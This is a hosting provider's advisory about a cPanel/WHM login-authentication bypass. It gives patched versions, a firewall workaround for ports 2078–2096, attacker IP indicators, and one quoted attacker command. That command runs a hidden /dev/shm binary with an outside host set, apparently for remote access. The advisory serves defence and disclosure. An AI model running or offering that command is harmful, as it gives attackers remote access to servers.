Urgent Security Update: Protecting Your cPanel/WHM Servers Against Recent Exploits

A major vulnerability was recently identified by the cPanel team that allows attackers to bypass standard login authentication. You can read the official advisory here: Critical Vulnerability with cPanel/WHM Login Authentication.

What We Discovered

Our deep-dive research into affected systems shows that attackers have been attempting to gain a foothold as early as April 15th of this month. Once an attacker bypasses the login, they frequently use the WHM Terminal to run malicious commands as the root user.

If a system has been compromised, we have found a specific pattern of activity. Attackers often drop a hidden file into the system’s shared memory such at /dev/shm/.X18-unix. They then execute this file using a nohup command to keep it running in the background. The command typically looks like this:

GS_HOST=technologyanalysis[.]net /dev/shm/.X18-unix -s [random_string] -l -i

In our logs, we have identified two primary suspicious IP addresses associated with these unauthorized login attempts:

• 31.40.213.118
• 212.102.35.219

The Solution: Update Your System Immediately

The good news is that fixes are now available. If you manage your own server, you must ensure you are running one of the patched versions listed below. These updates close the loophole that allows attackers to bypass authentication.

Stable and Release Patches:

• 11.110.0.97
• 11.118.0.63
• 11.126.0.54
• 11.132.0.29
• 11.134.0.20
• 11.136.0.5
• WP Squared: 11.136.1.7

Important Workaround for Older Systems

If you are running a version of cPanel that is no longer supported or cannot be updated immediately, you must take manual steps to protect your server. We strongly recommend using your firewall (such as CSF or iptables) to block access to the following ports:

Block Ports: 2078 through 2096

By restricting these ports, you prevent external access to the cPanel and WHM management interfaces, effectively locking the “front door” that attackers are trying to use. You should only re-open these ports for trusted IP addresses or after your system has been successfully patched.

As always, our support team is here to help. If you have questions about your specific configuration or need assistance with the update process, please reach out to us through the InterServer support portal.